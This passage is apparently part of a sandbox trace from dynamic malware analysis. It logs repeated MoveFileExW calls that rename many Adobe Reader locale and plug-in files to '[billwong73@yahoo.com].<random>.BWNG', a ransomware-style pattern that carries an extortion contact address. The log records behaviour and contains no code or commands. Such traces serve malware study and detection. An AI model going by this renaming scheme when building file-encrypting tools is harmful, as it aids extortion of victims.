0x115e17a [0089.066] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23101849462) returned 1 [0089.066] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\reflow.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\reflow.cht"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\[billwong73@yahoo.com].7nBLaCF5-Iq33KeY9.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\[billwong73@yahoo.com].7nblacf5-iq33key9.bwng"), dwFlags=0x1) returned 1 [0089.068] GetTickCount () returned 0x115e17a [0089.068] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23101995071) returned 1 [0089.068] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Accessibility.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\accessibility.tur"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\[billwong73@yahoo.com].fxKZUREH-mITKOXoZ.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\[billwong73@yahoo.com].fxkzureh-mitkoxoz.bwng"), dwFlags=0x1) returned 1 [0089.069] GetTickCount () returned 0x115e17a [0089.069] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23102158471) returned 1 [0089.070] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\IA32.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\ia32.tur"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\[billwong73@yahoo.com].W3zhjPTy-AKajfpue.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\[billwong73@yahoo.com].w3zhjpty-akajfpue.bwng"), dwFlags=0x1) returned 1 [0089.071] GetTickCount () returned 0x115e17a [0089.071] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23102283455) returned 1 [0089.071] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\SendMail.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\sendmail.tur"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\[billwong73@yahoo.com].83HH4wBE-033DJPvl.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\[billwong73@yahoo.com].83hh4wbe-033djpvl.bwng"), dwFlags=0x1) returned 1 [0089.072] GetTickCount () returned 0x115e17a [0089.072] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23102415248) returned 1 [0089.072] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\BRdlang32.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\brdlang32.ukr"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\[billwong73@yahoo.com].BSOWwkpr-1ey03JYj.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\[billwong73@yahoo.com].bsowwkpr-1ey03jyj.bwng"), dwFlags=0x1) returned 1 [0089.073] GetTickCount () returned 0x115e17a [0089.073] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23102546288) returned 1 [0089.073] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\PPKLITE.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\ppklite.ukr"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\[billwong73@yahoo.com].8dMhE2Wr-S4hJXl9h.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\[billwong73@yahoo.com].8dmhe2wr-s4hjxl9h.bwng"), dwFlags=0x1) returned 1 [0089.074] GetTickCount () returned 0x115e17a [0089.074] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23102658562) returned 1 [0089.075] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Updater.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\updater.ukr"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\[billwong73@yahoo.com].R0e8nL5S-DBYBNl20.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\[billwong73@yahoo.com].r0e8nl5s-dbybnl20.bwng"), dwFlags=0x1) returned 1 [0089.075] GetTickCount () returned 0x115e17a [0089.075] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23102772031) returned 1 [0089.076] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Accessibility.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\accessibility.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\[billwong73@yahoo.com].JeuFsB6C-HDGQFRKt.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\[billwong73@yahoo.com].jeufsb6c-hdgqfrkt.bwng"), dwFlags=0x1) returned 1 [0089.077] GetTickCount () returned 0x115e189 [0089.077] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23102965066) returned 1 [0089.078] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\eBook.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\ebook.chs"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\[billwong73@yahoo.com].JKOni6k3-k9UqNlSc.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\[billwong73@yahoo.com].jkoni6k3-k9uqnlsc.bwng"), dwFlags=0x1) returned 1 [0089.079] GetTickCount () returned 0x115e189 [0089.079] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23103094603) returned 1 [0089.079] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\SaveAsRTF.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\saveasrtf.chs"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\[billwong73@yahoo.com].hNWE7rN0-KPDTpQWh.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\[billwong73@yahoo.com].hnwe7rn0-kpdtpqwh.bwng"), dwFlags=0x1) returned 1 [0089.080] GetTickCount () returned 0x115e189 [0089.080] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23103215160) returned 1 [0089.080] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\DVA.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\dva.api"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\[billwong73@yahoo.com].Mhc59zfB-1eJrwj49.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\[billwong73@yahoo.com].mhc59zfb-1ejrwj49.bwng"), dwFlags=0x1) returned 1 [0089.240] GetTickCount () returned 0x115e225 [0089.240] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23119209545) returned 1 [0089.240] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\AdobeCollabSync.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\adobecollabsync.cht"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\[billwong73@yahoo.com].hNyk5Ecn-fto8VdZe.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\[billwong73@yahoo.com].hnyk5ecn-fto8vdze.bwng"), dwFlags=0x1) returned 1 [0089.241] GetTickCount () returned 0x115e225 [0089.241] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23119358584) returned 1 [0089.242] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Multimedia.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\multimedia.cht"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\[billwong73@yahoo.com].HqTNUEXf-QRPHj03p.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\[billwong73@yahoo.com].hqtnuexf-qrphj03p.bwng"), dwFlags=0x1) returned 1 [0089.243] GetTickCount () returned 0x115e225 [0089.243] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23119494116) returned 1 [0089.243] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\services\\services.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Services\\[billwong73@yahoo.com].GmwAYKFV-JcfbjOZD.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\services\\[billwong73@yahoo.com].gmwaykfv-jcfbjozd.bwng"), dwFlags=0x1) returned 1 [0089.431] GetTickCount () returned 0x115e2e0 [0089.431] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23138432262) returned 1 [0089.432] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Acroform.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\acroform.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\[billwong73@yahoo.com].QLBHVkRv-d6bt0mmP.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\[billwong73@yahoo.com].qlbhvkrv-d6bt0mmp.bwng"), dwFlags=0x1) returned 1 [0089.434] GetTickCount () returned 0x115e2e0 [0089.434] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23138579417) returned 1 [0089.434] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\makeaccessible.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\makeaccessible.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\[billwong73@yahoo.com].UuaeXx5m-oZtSUBdx.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\[billwong73@yahoo.com].uuaexx5m-oztsubdx.bwng"), dwFlags=0x1) returned 1 [0089.435] GetTickCount () returned 0x115e2e0 [0089.435] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23138731262) returned 1 [0089.435] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\services\\dexshare.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Services\\[billwong73@yahoo.com].y6j1JZgt-IB9M8LFU.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\services\\[billwong73@yahoo.com].y6j1jzgt-ib9m8lfu.bwng"), dwFlags=0x1) returned 1 [0089.436] GetTickCount () returned 0x115e2f0 [0089.436] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23138854273) returned 1 [0089.436] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Checkers.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\checkers.ptb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\[billwong73@yahoo.com].YomkZwoO-MMfH8byK.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\[billwong73@yahoo.com].yomkzwoo-mmfh8byk.bwng"), dwFlags=0x1) returned 1 [0089.823] GetTickCount () returned 0x115e466 [0089.823] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23177640752) returned 1 [0089.825] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\RdLang32.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\rdlang32.ptb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\[billwong73@yahoo.com].DJkE4TVe-FBNzjYnR.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\[billwong73@yahoo.com].djke4tve-fbnzjynr.bwng"), dwFlags=0x1) returned 1 [0089.826] GetTickCount () returned 0x115e476 [0089.826] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23177848634) returned 1 [0089.826] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\pddom.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\pddom.ptb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\[billwong73@yahoo.com].cNPzXo6F-4Sfnyew6.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\[billwong73@yahoo.com].cnpzxo6f-4sfnyew6.bwng"), dwFlags=0x1) returned 1 [0089.827] GetTickCount () returned 0x115e476 [0089.827] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23177972540) returned 1 [0089.828] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Weblink.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\weblink.ptb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\[billwong73@yahoo.com].HlI2d1Hi-c85qEsRB.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\[billwong73@yahoo.com].hli2d1hi-c85qesrb.bwng"), dwFlags=0x1) returned 1 [0089.829] GetTickCount () returned 0x115e476 [0089.829] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23178087008) returned 1 [0089.829] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\EScript.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\escript.rum"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\[billwong73@yahoo.com].i6OZEbNW-Syh2UW2P.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\[billwong73@yahoo.com].i6ozebnw-syh2uw2p.bwng"), dwFlags=0x1) returned 1 [0089.830] GetTickCount () returned 0x115e476 [0089.830] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23178234755) returned 1 [0089.830] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Search.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\search.rum"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\[billwong73@yahoo.com].0ZpRRApj-kEHoRmjS.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\[billwong73@yahoo.com].0zprrapj-kehormjs.bwng"), dwFlags=0x1) returned 1 [0089.831] GetTickCount () returned 0x115e476 [0089.831] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23178355735) returned 1 [0089.831] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Annots.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\annots.rus"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\[billwong73@yahoo.com].wnb1uuCB-WPmpXonk.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\[billwong73@yahoo.com].wnb1uucb-wpmpxonk.bwng"), dwFlags=0x1) returned 1 [0089.833] GetTickCount () returned 0x115e476 [0089.833] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23178483152) returned 1 [0089.833] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\Spelling.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\spelling.ptb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\[billwong73@yahoo.com].oP1nFVCL-oZGNrSCo.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\[billwong73@yahoo.com].op1nfvcl-ozgnrsco.bwng"), dwFlags=0x1) returned 1 [0089.834] GetTickCount () returned 0x115e476 [0089.834] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23178593167) returned 1 [0089.834] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\PDDom.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\pddom.rus"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\[billwong73@yahoo.com].ATmPBPfL-ztR0YMSQ.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\[billwong73@yahoo.com].atmpbpfl-ztr0ymsq.bwng"), dwFlags=0x1) returned 1 [0089.835] GetTickCount () returned 0x115e476 [0089.835] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23178711447) returned 1 [0089.835] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\DVA.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\dva.rum"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\[billwong73@yahoo.com].0g1FqAXU-qo0iNRfJ.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\[billwong73@yahoo.com].0g1fqaxu-qo0inrfj.bwng"), dwFlags=0x1) returned 1 [0089.836] GetTickCount () returned 0x115e476 [0089.836] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23178819365) returned 1 [0089.836] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Spelling.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\spelling.rus"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\[billwong73@yahoo.com].fA33CpYF-fWqdrzRq.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\[billwong73@yahoo.com].fa33cpyf-fwqdrzrq.bwng"), dwFlags=0x1) returned 1 [0089.842] GetTickCount () returned 0x115e486 [0089.842] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23179385277) returned 1 [0089.842] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Reflow.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\reflow.rum"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\[billwong73@yahoo.com].v5mxK5cO-Lhes5UiK.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\[billwong73@yahoo.com].v5mxk5co-lhes5uik.bwng"), dwFlags=0x1) returned 1 [0089.843] GetTickCount () returned 0x115e486 [0089.843] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23179560706) returned 1 [0089.844] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\IA32.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\ia32.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\[billwong73@yahoo.com].a5cbEHdW-b4qAR4Ih.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\[billwong73@yahoo.com].a5cbehdw-b4qar4ih.bwng"), dwFlags=0x1) returned 1 [0089.844] GetTickCount () returned 0x115e486 [0089.844] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23179670212) returned 1 [0089.845] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Acroform.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\acroform.rus"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\[billwong73@yahoo.com].7TGl8Grh-5i8A1Kon.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\[billwong73@yahoo.com].7tgl8grh-5i8a1kon.bwng"), dwFlags=0x1) returned 1 [0089.846] GetTickCount () returned 0x115e486 [0089.846] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23179792218) returned 1 [0089.846] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\MakeAccessible.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\makeaccessible.rus"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\[billwong73@yahoo.com].mZupeI1C-Cfc2xcXr.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\[billwong73@yahoo.com].mzupei1c-cfc2xcxr.bwng"), dwFlags=0x1) returned 1 [0089.847] GetTickCount () returned 0x115e486 [0089.847] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23179908949) returned 1 [0089.847] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\services\\dexshare.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Services\\[billwong73@yahoo.com].f18LTeEp-aLgFa3PQ.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\services\\[billwong73@yahoo.com].f18lteep-algfa3pq.bwng"), dwFlags=0x1) returned 1 [0089.849] GetTickCount () returned 0x115e486 [0089.849] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23180162585) returned 1 [0089.850] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.esp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\[billwong73@yahoo.com].JLZZ2Oaf-PI8FpzbP.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\[billwong73@yahoo.com].jlzz2oaf-pi8fpzbp.bwng"), dwFlags=0x1) returned 1 [0089.851] GetTickCount () returned 0x115e486 [0089.851] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23180312057) returned 1 [0089.851] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Checkers.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\checkers.sky"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\[billwong73@yahoo.com].ScKL2gfl-a7ZyE6Bg.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\[billwong73@yahoo.com].sckl2gfl-a7zye6bg.bwng"), dwFlags=0x1) returned 1 [0089.853] GetTickCount () returned 0x115e486 [0089.853] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23180543771) returned 1 [0089.853] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\SendMail.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\sendmail.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\[billwong73@yahoo.com].vhXJEru5-SKAm8j34.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\[billwong73@yahoo.com].vhxjeru5-skam8j34.bwng"), dwFlags=0x1) returned 1 [0089.854] GetTickCount () returned 0x115e486 [0089.854] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=23180650343) returned 1 [0089.854] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 